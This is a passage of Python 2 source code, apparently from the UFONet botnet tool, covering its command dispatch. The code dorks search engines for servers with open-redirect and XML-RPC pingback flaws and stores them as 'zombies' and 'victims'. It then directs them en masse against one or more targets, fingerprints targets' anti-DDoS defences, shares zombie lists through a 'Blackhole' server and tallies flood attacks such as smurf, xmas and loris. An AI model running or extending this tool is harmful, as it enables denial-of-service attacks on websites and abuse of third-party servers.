  472. # check EUID when running TACHYON (root required)
  473. if options.tachyon:
  474. euid = self.checkeuid()
  475. if euid != 0:
  476. print("[Info] [AI] [Control] [TACHYON] (--tachyon) not started as root...\n")
  477. try:
  478. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  479. os.execlpe('sudo', *args)
  480. except:
  481. pass # keep running, but TACHYON will fail
  482. # search for [Zombies] on search engines results (dorking)
  483. if options.search:
  484. zombies = []
  485. if options.engine:
  486. engine = options.engine
  487. else:
  488. engine = "startpage" # default search engine
  489. try:
  490. self.banner()
  491. if not os.path.exists(self.humans_file) == True:
  492. f = open(self.humans_file, 'w')
  493. f.close()
  494. lf = open(self.humans_file, 'r')
  495. restored = lf.readlines()
  496. zombies_restored = len(restored)
  497. lf.close()
  498. lz = open(self.zombies_file, 'r')
  499. zombies_army = lz.readlines()
  500. for zombie in zombies_army:
  501. zombies.append(zombie) # add zombies from army to the zombies pool
  502. lz.close()
  503. if len(restored) > 0:
  504. print "\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n"
  505. if not self.options.forceyes:
  506. backup_reply = raw_input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  507. print '-'*25
  508. else:
  509. backup_reply = "Y"
  510. if backup_reply == "n" or backup_reply == "N":
  511. print "\n[Info] [AI] Removing data stored and starting a new search...\n"
  512. os.remove(self.humans_file)
  513. zombies_restored = 0 # flush zombies restored
  514. print '-'*25 + "\n"
  515. else:
  516. print "\n[Info] [AI] Restoring data and starting a new search...\n"
  517. print '-'*25 + "\n"
  518. for zombie in restored:
  519. zombies.append(zombie) # add previous data to zombies pool
  520. if options.allengines:
  521. for e in self.search_engines:
  522. engine = e
  523. print '='*44
  524. print("\n[AI] Searching for zombies using: "+engine+'\n')
  525. print '='*44 + '\n'
  526. self.options.engine = engine
  527. try:
  528. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  529. if zombies_chain != None:
  530. for zombie in zombies_chain:
  531. if zombie not in zombies: # evade possible repetitions
  532. zombies.append(zombie)
  533. except:
  534. if zombies: # backup all new zombies found to file in case of exception
  535. for zombie in zombies:
  536. if zombie+os.linesep not in restored: # only append new zombies found
  537. with open(self.humans_file, "a") as f:
  538. f.write(str(zombie+os.linesep))
  539. else:
  540. if restored:
  541. print '='*44
  542. print("\n[AI] Searching for zombies using: "+engine+"\n")
  543. print '='*44 + '\n'
  544. if restored: # from restored file
  545. try:
  546. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  547. if zombies_chain != None:
  548. for zombie in zombies_chain:
  549. if zombie not in zombies: # evade possible repetitions
  550. zombies.append(zombie)
  551. except:
  552. if zombies: # backup all new zombies found to file in case of exception
  553. for zombie in zombies:
  554. if zombie+os.linesep not in restored: # only append new zombies found
  555. with open(self.humans_file, "a") as f:
  556. f.write(str(zombie+os.linesep))
  557. else:
  558. try:
  559. zombies = self.search_zombies(dork='', zombies_found=zombies)
  560. except:
  561. if zombies: # backup all new zombies found to file in case of exception
  562. for zombie in zombies:
  563. if zombie+os.linesep not in restored: # only append new zombies found
  564. with open(self.humans_file, "a") as f:
  565. f.write(str(zombie+os.linesep))
  566. total_restored = zombies_restored
  567. new_zombies = 0 # new zombies counter
  568. f = open(self.zombies_file, 'r')
  569. zz = f.readlines()
  570. f.close()
  571. zombies_found = []
  572. for z in zombies:
  573. if z.endswith(os.linesep):
  574. z = z.replace(os.linesep, "")
  575. if z not in zz and z+os.linesep not in zz:
  576. new_zombies = new_zombies + 1
  577. zombies_found.append(z)
  578. print '='*62
  579. print "\n- Victims found:", len(zombies_found), "\n"
  580. print " - Restored:", total_restored
  581. print " - Dorked:", abs(len(zombies_found) - total_restored), "\n"
  582. print '-'*32
  583. print "\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n"
  584. print '='*62 + '\n'
  585. if len(zombies) > 0:
  586. if not self.options.forceyes:
  587. check_backup_reply = raw_input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  588. print '-'*25
  589. else:
  590. check_backup_reply = "Y"
  591. if check_backup_reply == "n" or check_backup_reply == "N":
  592. if os.path.isfile(self.humans_file):
  593. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  594. print "\n[Info] [AI] Temporal data correctly removed...\n"
  595. else:
  596. with open(self.humans_file, "w") as f:
  597. for z in zombies_found:
  598. if z.endswith(os.linesep):
  599. z = z.replace(os.linesep, "")
  600. if z not in zz or z+os.linesep not in zz:
  601. f.write(z+os.linesep)
  602. f.close()
  603. print "\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n"
  604. print '-'*25 + "\n"
  605. if new_zombies and new_zombies > 0:
  606. if not self.options.forceyes:
  607. check_url_link_reply = raw_input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  608. print '-'*25 + "\n"
  609. else:
  610. check_url_link_reply = "Y"
  611. if check_url_link_reply == "n" or check_url_link_reply == "N":
  612. print "[AI] "+self.exit_msg+"\n"
  613. pass
  614. else:
  615. print "\n" + '='*44
  616. test = self.testing(zombies_found)
  617. else:
  618. print "[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n"
  619. except Exception:
  620. print ("\n[Error] [AI] Something wrong searching using: "+engine+"\n")
  621. # search for [Zombies] from a list of [Dorks]
  622. if options.dorks:
  623. if options.engine:
  624. engine = options.engine
  625. else:
  626. engine = "startpage" # default search engine
  627. try:
  628. dorks = self.extract_dorks()
  629. if not dorks:
  630. return
  631. zombies = []
  632. self.banner()
  633. if not os.path.exists(self.humans_file) == True:
  634. f = open(self.humans_file, 'w')
  635. f.close()
  636. lf = open(self.humans_file, 'r')
  637. restored = lf.readlines()
  638. zombies_restored = len(restored)
  639. lf.close()
  640. lz = open(self.zombies_file, 'r')
  641. zombies_army = lz.readlines()
  642. for zombie in zombies_army:
  643. zombies.append(zombie) # add zombies from army to the zombies pool
  644. lz.close()
  645. if len(restored) > 0:
  646. print "\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n"
  647. if not self.options.forceyes:
  648. backup_reply = raw_input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  649. print '-'*25
  650. else:
  651. backup_reply = "Y"
  652. if backup_reply == "n" or backup_reply == "N":
  653. print "\n[Info] [AI] Removing data stored and starting a new search...\n"
  654. os.remove(self.humans_file)
  655. zombies_restored = 0 # flush zombies restored
  656. print '-'*25 + "\n"
  657. else:
  658. print "\n[Info] [AI] Restoring data and starting a new search...\n"
  659. print '-'*25 + "\n"
  660. for zombie in restored:
  661. zombies.append(zombie) # add previous data to zombies pool
  662. total_restored = zombies_restored
  663. if options.allengines:
  664. for e in self.search_engines:
  665. engine = e
  666. print '='*44
  667. print("\n[AI] Searching for zombies using: ["+engine+ "] from a list of [Dorks]\n")
  668. print '='*44 + '\n'
  669. self.options.engine = engine
  670. for dork in dorks:
  671. print '='*22
  672. print "Dork:", dork
  673. print '='*22 + '\n'
  674. try:
  675. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  676. for zombie in dorked_zombies:
  677. if zombie not in zombies: # evade repetitions for zombies found
  678. zombies.append(zombie)
  679. if zombie+os.linesep not in restored: # only append new zombies found
  680. with open(self.humans_file, "a") as f:
  681. f.write(str(zombie+os.linesep))
  682. f.close()
  683. except:
  684. if zombies: # backup new zombies found on exception
  685. for zombie in zombies:
  686. if zombie+os.linesep not in restored: # only append new zombies found
  687. with open(self.humans_file, "a") as f:
  688. f.write(str(zombie+os.linesep))
  689. f.close()
  690. else:
  691. if restored:
  692. print '='*44
  693. print("\n[AI] Searching for zombies using: ["+ engine+ "] from a list of [Dorks]\n")
  694. print '='*44 + '\n'
  695. for dork in dorks:
  696. print '='*22
  697. print "Dork:", dork
  698. print '='*22 + '\n'
  699. try:
  700. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  701. if dorked_zombies != None:
  702. for zombie in dorked_zombies:
  703. if zombie not in zombies: # evade repetitions for zombies found
  704. zombies.append(zombie)
  705. except:
  706. if zombies: # backup new zombies found on exception
  707. for zombie in zombies:
  708. if zombie+os.linesep not in restored: # only append new zombies found
  709. with open(self.humans_file, "a") as f:
  710. f.write(str(zombie+os.linesep))
  711. f.close()
  712. new_zombies = 0 # new zombies counter
  713. f = open(self.zombies_file, 'r')
  714. zz = f.readlines()
  715. f.close()
  716. zombies_found = []
  717. for z in zombies:
  718. if z.endswith(os.linesep):
  719. z = z.replace(os.linesep, "")
  720. if z not in zz and z+os.linesep not in zz:
  721. new_zombies = new_zombies + 1
  722. zombies_found.append(z)
  723. print '='*62
  724. print "\n- Victims found:", len(zombies_found), "\n"
  725. print " - Restored:", total_restored
  726. print " - Dorked:", len(zombies_found) - total_restored, "\n"
  727. print '-'*32
  728. print "\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n"
  729. print '='*62 + '\n'
  730. if len(zombies_found) > 0:
  731. if not self.options.forceyes:
  732. check_backup_reply = raw_input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  733. print '-'*25
  734. else:
  735. check_backup_reply = "Y"
  736. if check_backup_reply == "n" or check_backup_reply == "N":
  737. if os.path.isfile(self.humans_file):
  738. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  739. print "\n[Info] [AI] Temporal data correctly removed...\n"
  740. else:
  741. with open(self.humans_file, "w") as f:
  742. for z in zombies_found:
  743. if z.endswith(os.linesep):
  744. z = z.replace(os.linesep, "")
  745. if z not in zz or z+os.linesep not in zz:
  746. f.write(z+os.linesep)
  747. f.close()
  748. print "\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n"
  749. print '-'*25 + "\n"
  750. if new_zombies and new_zombies > 0:
  751. if not self.options.forceyes:
  752. check_url_link_reply = raw_input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  753. print '-'*25 + "\n"
  754. else:
  755. check_url_link_reply = "Y"
  756. if check_url_link_reply == "n" or check_url_link_reply == "N":
  757. print "[AI] "+self.exit_msg+"\n"
  758. pass
  759. else:
  760. print "\n" + '='*44
  761. test = self.testing(zombies_found)
  762. else:
  763. print "[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n"
  764. except Exception:
  765. print ("\n[Error] [AI] Something wrong searching using: "+engine+"\n")
  766. # auto-search for [Zombies] (dorks+all_engines+time -> to discover max new zombies)
  767. if options.autosearch:
  768. try:
  769. dorks = self.extract_dorks()
  770. except:
  771. print "\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n"
  772. return
  773. engines_list = self.search_engines
  774. stop_flag = False # use a flag to establish an end
  775. try:
  776. self.banner()
  777. print "\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n"
  778. print "[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n"
  779. print '-'*25 + "\n"
  780. zombies_found = []
  781. lz = open(self.zombies_file, 'r')
  782. zombies_army = lz.readlines()
  783. for zombie in zombies_army:
  784. zombies_found.append(zombie) # add zombies from army to the zombies found pool
  785. lz.close()
  786. if not os.path.exists(self.humans_file) == True:
  787. f = open(self.humans_file, 'w')
  788. f.close()
  789. lf = open(self.humans_file, 'r')
  790. restored = lf.readlines()
  791. zombies_restored = len(restored)
  792. lf.close()
  793. if len(restored) > 0:
  794. print "[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n"
  795. if not self.options.forceyes:
  796. backup_reply = raw_input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  797. print '-'*25
  798. else:
  799. backup_reply = "Y"
  800. if backup_reply == "n" or backup_reply == "N":
  801. print "\n[Info] [AI] Removing data stored and starting a new (auto)search...\n"
  802. os.remove(self.humans_file)
  803. zombies_restored = 0 # flush zombies restored
  804. print '-'*25 + "\n"
  805. else:
  806. print "\n[Info] [AI] Restoring data and starting a new (auto)search...\n"
  807. print '-'*25 + "\n"
  808. for zombie in restored:
  809. zombies_found.append(zombie) # add previous data to zombies found pool
  810. total_restored = zombies_restored
  811. while stop_flag == False:
  812. if not os.path.exists(self.humans_file) == True:
  813. f = open(self.humans_file, 'w')
  814. f.close()
  815. lf = open(self.humans_file, 'r') # read it on each iteration to update changes
  816. restored = lf.readlines()
  817. lf.close()
  818. zombies_restored = len(restored)
  819. for e in engines_list:
  820. zombies_counter = 0 # use it also as (engine) flag
  821. engine = e
  822. self.options.engine = engine
  823. print '='*44 + '\n'
  824. print("[AI] Searching for zombies using: "+engine+'\n')
  825. print '='*44 + '\n'
  826. for dork in dorks:
  827. print '='*22
  828. print "Dork:", dork
  829. print '='*22 + '\n'
  830. try:
  831. dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
  832. for zombie in dorked_zombies:
  833. if zombie not in zombies_found: # evade repetitions for zombies found
  834. zombies_found.append(zombie)
  835. if zombie+os.linesep not in restored: # only append new zombies found
  836. with open(self.humans_file, "a") as f:
  837. f.write(str(zombie+os.linesep))
  838. f.close()
  839. zombies_counter = zombies_counter + 1
  840. except:
  841. if zombies_found: # backup new zombies found on exception
  842. for zombie in zombies_found:
  843. if zombie+os.linesep not in restored: # only append new zombies found
  844. with open(self.humans_file, "a") as f:
  845. f.write(str(zombie+os.linesep))
  846. f.close()
  847. if zombies_counter == 0:
  848. print "[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n"
  849. print '-'*25 + "\n"
  850. engines_list.remove(engine) # remove not more results engine from search engines list
  851. if not engines_list: # if search engines empty, call return-exit routine
  852. print "[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n"
  853. print '-'*25 + "\n"
  854. stop_flag = True # exit flag up
  855. new_zombies = 0 # new zombies counter
  856. f = open(self.zombies_file, 'r')
  857. zz = f.readlines()
  858. f.close()
  859. all_zombies_found = []
  860. for z in zombies_found:
  861. if z.endswith(os.linesep):
  862. z = z.replace(os.linesep, "")
  863. if z not in zz and z+os.linesep not in zz:
  864. new_zombies = new_zombies + 1
  865. all_zombies_found.append(z)
  866. print '='*62
  867. print "\n- Victims found:", len(all_zombies_found), "\n"
  868. print " - Restored:", total_restored
  869. print " - Dorked:", len(all_zombies_found) - total_restored, "\n"
  870. print '-'*32
  871. print "\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n"
  872. print '='*62 + '\n'
  873. if len(zombies_found) > 0:
  874. if not self.options.forceyes:
  875. check_backup_reply = raw_input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  876. print '-'*25
  877. else:
  878. check_backup_reply = "Y"
  879. if check_backup_reply == "n" or check_backup_reply == "N":
  880. if os.path.isfile(self.humans_file):
  881. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  882. print "\n[Info] [AI] Temporal data correctly removed...\n"
  883. else:
  884. with open(self.humans_file, "w") as f:
  885. for z in all_zombies_found:
  886. if z.endswith(os.linesep):
  887. z = z.replace(os.linesep, "")
  888. if z not in zz or z+os.linesep not in zz:
  889. f.write(z+os.linesep)
  890. f.close()
  891. print "\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n"
  892. print '-'*25 + "\n"
  893. if new_zombies and new_zombies > 0:
  894. if not self.options.forceyes:
  895. check_url_link_reply = raw_input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  896. print '-'*25 + "\n"
  897. else:
  898. check_url_link_reply = "Y"
  899. if check_url_link_reply == "n" or check_url_link_reply == "N":
  900. print "[AI] "+self.exit_msg+"\n"
  901. pass
  902. else:
  903. print "\n" + '='*44
  904. test = self.testing(all_zombies_found)
  905. else:
  906. print "[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n"
  907. except Exception:
  908. print ("[Error] [AI] Something wrong (auto)searching...\n")
  909. # test web 'zombie' servers -> show statistics
  910. if options.test:
  911. try:
  912. self.banner()
  913. zombies = self.extract_zombies()
  914. if not zombies:
  915. return
  916. test = self.testing(zombies)
  917. self.update_missions_stats() # update mothership missions stats
  918. except Exception:
  919. print ("\n[Error] [AI] Something wrong testing!\n")
  920. if self.options.verbose:
  921. traceback.print_exc()
  922. # test XML-'rpc' pingback vulnerable servers -> update list
  923. if options.testrpc:
  924. try:
  925. self.banner()
  926. rpcs = self.extract_rpcs()
  927. if not rpcs:
  928. return
  929. testrpc = self.testing_rpcs(rpcs)
  930. self.update_missions_stats() # update mothership missions stats
  931. except Exception:
  932. print ("\n[Error] [AI] Something wrong testing X-RPCs!\n")
  933. if self.options.verbose:
  934. traceback.print_exc()
  935. # check botnet searching for zombies offline
  936. if options.testoffline:
  937. try:
  938. self.banner()
  939. testbotnet = self.testing_offline()
  940. self.update_missions_stats() # update mothership missions stats
  941. except Exception:
  942. print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n")
  943. if self.options.verbose:
  944. traceback.print_exc()
  945. # check ALL botnet status
  946. if options.testall:
  947. try:
  948. self.banner()
  949. test_all_botnet = self.testing_all()
  950. self.update_missions_stats() # update mothership missions stats
  951. except Exception:
  952. print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n")
  953. if self.options.verbose:
  954. traceback.print_exc()
  955. # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a single target
  956. if options.target:
  957. try:
  958. self.banner()
  959. zombies = self.extract_zombies()
  960. if not zombies:
  961. return
  962. attack = self.attacking(zombies, options.target)
  963. self.update_missions_stats() # update mothership missions stats
  964. except Exception:
  965. print ("\n[Error] [AI] Something wrong attacking!\n")
  966. if self.options.verbose:
  967. traceback.print_exc()
  968. # attack a list of targets -> exploit Open Redirect massively and conduct vulnerable servers to multiple targets
  969. if options.target_list:
  970. try:
  971. self.banner()
  972. zombies = self.extract_zombies()
  973. if not zombies:
  974. return
  975. targets = self.extract_target_list()
  976. if not targets:
  977. print "\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n"
  978. return
  979. self.options.forceyes = True # force-yes ON!
  980. self.num_target_list = 0
  981. print "\n[AI] Checking integrity of targets...\n"
  982. for t in targets: # start of code block dedicated to: Guido van Rossum [23/12/2018]
  983. if not t.startswith("http"): # discarded inmediately
  984. print "[Info] [AI] [Control] " + str(t) + " -> [Discarding!]"
  985. targets.remove(t) # ¿remove? invalid targets
  986. print ""
  987. c = 0
  988. for target in targets:
  989. if target == "":
  990. c = c + 1
  991. else:
  992. self.num_target_list = self.num_target_list + 1
  993. if c == len(targets):
  994. print "\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n"
  995. return # end of code block dedicated to: Guido van Rossum [23/12/2018]
  996. else:
  997. for target in targets:
  998. print '='*55 + "\n"
  999. print "[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n"
  1000. print "="*55
  1001. self.options.target = target
  1002. attack = self.attacking(zombies, target)
  1003. self.update_missions_stats() # update mothership missions stats (each target counts)
  1004. except Exception:
  1005. print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n")
  1006. if self.options.verbose:
  1007. traceback.print_exc()
  1008. # inspect target -> inspect target's components sizes
  1009. if options.inspect:
  1010. try:
  1011. self.banner()
  1012. print("\n[AI] Inspecting target to find the best place to attack... SSssh!\n")
  1013. print '='*22 + '\n'
  1014. self.instance = Inspector(self) # instance main class for inspection operations
  1015. inspection = self.instance.inspecting(options.inspect)
  1016. self.update_missions_stats() # update mothership missions stats
  1017. except Exception, e:
  1018. print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n")
  1019. if self.options.verbose:
  1020. traceback.print_exc()
  1021. return #sys.exit(2)
  1022. # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)
  1023. if options.abduction:
  1024. try:
  1025. self.banner()
  1026. print("\n[AI] Abducting target to extract interesting information... Be patient!\n")
  1027. print '='*22 + '\n'
  1028. self.instance = Abductor(self) # instance main class for abduction operations
  1029. abduction = self.instance.abducting(options.abduction)
  1030. self.update_missions_stats() # update mothership missions stats
  1031. except Exception, e:
  1032. print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n")
  1033. if self.options.verbose:
  1034. traceback.print_exc()
  1035. return #sys.exit(2)
  1036. # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
  1037. if options.attackme:
  1038. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1039. try:
  1040. self.banner()
  1041. print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n")
  1042. print("[Warning] You are going to reveal your real IP to [Zombies]!\n")
  1043. if not self.options.forceyes:
  1044. update_reply = raw_input("[AI] Do you want to continue? (Y/n)")
  1045. else:
  1046. update_reply = "Y"
  1047. if update_reply == "n" or update_reply == "N":
  1048. print "\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n"
  1049. return
  1050. self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash
  1051. print "\nMothership ID: " + self.mothership_id + "RND: " + self.mothership_hash
  1052. print("\n[AI] Checking NAT/IP configuration:\n")
  1053. nat = self.check_nat()
  1054. f = open("alien", "w") # generate random alien worker
  1055. f.write(str(self.mothership_hash))
  1056. f.close()
  1057. if self.nat_error_flag == "ON":
  1058. return
  1059. zombies = self.extract_zombies()
  1060. if not zombies:
  1061. return
  1062. attackme = self.attackme(zombies)
  1063. self.update_missions_stats() # update mothership missions stats
  1064. except Exception, e:
  1065. print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n")
  1066. if self.options.verbose:
  1067. traceback.print_exc()
  1068. return #sys.exit(2)
  1069. # check/update for latest stable version
  1070. if options.update:
  1071. self.banner()
  1072. try:
  1073. print("\n[AI] Trying to update automatically to the latest stable version\n")
  1074. Updater()
  1075. except:
  1076. print "Not any .git repository found!\n"
  1077. print "="*30
  1078. print "\nTo have working this feature, you should clone UFONet with:\n"
  1079. print "$ git clone %s" % self.GIT_REPOSITORY
  1080. print "\nAlso you can try this other mirror:\n"
  1081. print "$ git clone %s" % self.GIT_REPOSITORY2 + "\n"
  1082. # launch GUI/Web interface
  1083. if options.web:
  1084. self.create_web_interface()
  1085. return
  1086. # generate [Blackhole] server to share [Zombies]
  1087. if options.blackhole is not None:
  1088. self.banner()
  1089. try:
  1090. blackhole_lib = os.path.abspath(os.path.join('..', 'server')) # add [Blackhole] lib
  1091. sys.path.append(blackhole_lib)
  1092. from server.blackhole import BlackHole
  1093. print("\n[AI] Initiating void generation sequence...\n")
  1094. print '='*22 + '\n'
  1095. app = BlackHole()
  1096. app.start()
  1097. while True: time.sleep(1)
  1098. except KeyboardInterrupt:
  1099. print("\n[AI] Terminating void generation sequence...\n")
  1100. app.collapse()
  1101. except Exception, e:
  1102. print "[Error] "+str(e)
  1103. print("\n[AI] Something was wrong generating [Blackhole]. Aborting...\n")
  1104. # download list of [Zombies] from a [Blackhole] IP
  1105. if options.dip is not None:
  1106. options.download = True
  1107. self.blackhole = options.dip
  1108. # download list of [Zombies] from server
  1109. if options.download:
  1110. try:
  1111. self.banner()
  1112. if options.dip is not None:
  1113. print("\n[AI] Downloading list of [Zombies] from server "+self.blackhole+" ...\n")
  1114. else:
  1115. print("\n[AI] Downloading list of [Zombies] from server ...\n")
  1116. print '='*22 + '\n'
  1117. download_list = self.downloading_list()
  1118. except Exception, e:
  1119. print ("\n[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1120. return
  1121. # upload list of [Zombies] to a [Blackhole] IP
  1122. if options.upip is not None:
  1123. options.upload = True
  1124. self.blackhole = options.upip
  1125. # upload list of [Zombies] to server
  1126. if options.upload:
  1127. try:
  1128. self.banner()
  1129. if options.upip is not None:
  1130. print("\n[AI] Uploading list of [Zombies] to server "+self.blackhole+" ...\n")
  1131. else:
  1132. print("\n[AI] Uploading list of [Zombies] to server ...\n")
  1133. print '='*22 + '\n'
  1134. upload_list = self.uploading_list()
  1135. except Exception, e:
  1136. print ("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n")
  1137. if self.options.verbose:
  1138. traceback.print_exc()
  1139. return #sys.exit(2)
  1140. # starting new zombie thread
  1141. def connect_zombies(self, zombie):
  1142. z=Zombie(self, zombie)
  1143. t = threading.Thread(target=z.connect, name=zombie)
  1144. t.start()
  1145. # single connection handling
  1146. def connect_zombie(self, zombie):
  1147. z=Zombie(self,zombie)
  1148. return z.connect()
  1149. def extract_proxy(self, proxy):
  1150. sep = ":"
  1151. proxy_ip = proxy.rsplit(sep, 1)[0]
  1152. if proxy_ip.startswith('http://'):
  1153. proxy_ip = proxy_ip.replace('http://', '')
  1154. elif proxy_ip.startswith('https://'):
  1155. proxy_ip = proxy_ip.replace('https://', '')
  1156. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)
  1157. proxy_ip = 'localhost'
  1158. proxy_port = proxy.rsplit(sep, 1)[1]
  1159. proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118
  1160. return proxy_url
  1161. def proxy_transport(self, proxy):
  1162. proxy_url = self.extract_proxy(proxy)
  1163. proxy = urllib2.ProxyHandler({'https': proxy_url})
  1164. opener = urllib2.build_opener(proxy)
  1165. urllib2.install_opener(opener)
  1166. def check_mothership_chargo(self):
  1167. f = open(self.zombies_file)
  1168. self.zombies = f.readlines()
  1169. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1170. self.list_zombies = []
  1171. for zombie in self.zombies:
  1172. t = urlparse(zombie)
  1173. name_zombie = t.netloc
  1174. if name_zombie == "":
  1175. name_zombie = zombie
  1176. self.list_zombies.append(name_zombie)
  1177. self.num_zombies = str(len(self.zombies))
  1178. f.close()
  1179. f = open(self.aliens_file)
  1180. self.aliens = f.readlines()
  1181. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1182. self.list_aliens = []
  1183. for alien in self.aliens:
  1184. t = urlparse(alien)
  1185. name_alien = t.netloc
  1186. if name_alien == "":
  1187. name_alien = alien
  1188. self.list_aliens.append(name_alien)
  1189. self.num_aliens = str(len(self.aliens))
  1190. f.close()
  1191. f = open(self.droids_file)
  1192. self.droids = f.readlines()
  1193. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1194. self.list_droids = []
  1195. for droid in self.droids:
  1196. t = urlparse(droid)
  1197. name_droid = t.netloc
  1198. if name_droid == "":
  1199. name_droid = droid
  1200. self.list_droids.append(name_droid)
  1201. self.num_droids = str(len(self.droids))
  1202. f.close()
  1203. f = open(self.ucavs_file)
  1204. self.ucavs = f.readlines()
  1205. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1206. self.list_ucavs = []
  1207. for ucav in self.ucavs:
  1208. t = urlparse(ucav)
  1209. name_ucav = t.netloc
  1210. if name_ucav == "":
  1211. name_ucav = ucav
  1212. self.list_ucavs.append(name_ucav)
  1213. self.num_ucavs = str(len(self.ucavs))
  1214. f.close()
  1215. f = open(self.rpcs_file)
  1216. self.rpcs = f.readlines()
  1217. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1218. self.list_rpcs = []
  1219. for rpc in self.rpcs:
  1220. t = urlparse(rpc)
  1221. name_rpc = t.netloc
  1222. if name_rpc == "":
  1223. name_rpc = rpc
  1224. self.list_rpcs.append(name_rpc)
  1225. self.num_rpcs = str(len(self.rpcs))
  1226. f.close()
  1227. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  1228. return self.total_botnet
  1229. def update_flying_stats(self):
  1230. if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
  1231. with open(self.mothership_stats_file, "w") as f:
  1232. json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "xmas": "0", "nuke": "0", "tachyon": "0", "crashed": "0"}, f, indent=4) # starting reset
  1233. stats_json_file = open(self.mothership_stats_file, "r")
  1234. data = json.load(stats_json_file)
  1235. stats_json_file.close()
  1236. aflying = data["flying"]
  1237. aflying = str(int(aflying) + 1) # add new flying time
  1238. data["flying"] = aflying
  1239. stats_json_file = open(self.mothership_stats_file, "w+")
  1240. stats_json_file.write(json.dumps(data))
  1241. stats_json_file.close()
  1242. def update_mothership_stats(self):
  1243. stats_json_file = open(self.mothership_stats_file, "r")
  1244. data = json.load(stats_json_file)
  1245. stats_json_file.close()
  1246. acompleted = data["completed"]
  1247. acompleted = str(int(acompleted) + 1) # add new completed attack
  1248. data["completed"] = acompleted
  1249. stats_json_file = open(self.mothership_stats_file, "w+")
  1250. stats_json_file.write(json.dumps(data))
  1251. stats_json_file.close()
  1252. def update_targets_crashed(self):
  1253. stats_json_file = open(self.mothership_stats_file, "r")
  1254. data = json.load(stats_json_file)
  1255. stats_json_file.close()
  1256. tcrashed = data["crashed"]
  1257. tcrashed = str(int(tcrashed) + 1) # add new crashed target
  1258. data["crashed"] = tcrashed
  1259. stats_json_file = open(self.mothership_stats_file, "w+")
  1260. stats_json_file.write(json.dumps(data))
  1261. stats_json_file.close()
  1262. def update_missions_stats(self):
  1263. stats_json_file = open(self.mothership_stats_file, "r")
  1264. data = json.load(stats_json_file)
  1265. stats_json_file.close()
  1266. missions = data["missions"]
  1267. missions = str(int(missions) + 1) # add new mission target
  1268. data["missions"] = missions
  1269. stats_json_file = open(self.mothership_stats_file, "w+")
  1270. stats_json_file.write(json.dumps(data))
  1271. stats_json_file.close()
  1272. def update_scanner_stats(self, num):
  1273. stats_json_file = open(self.mothership_stats_file, "r")
  1274. data = json.load(stats_json_file)
  1275. stats_json_file.close()
  1276. scanner = data["scanner"]
  1277. scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats
  1278. data["scanner"] = scanner
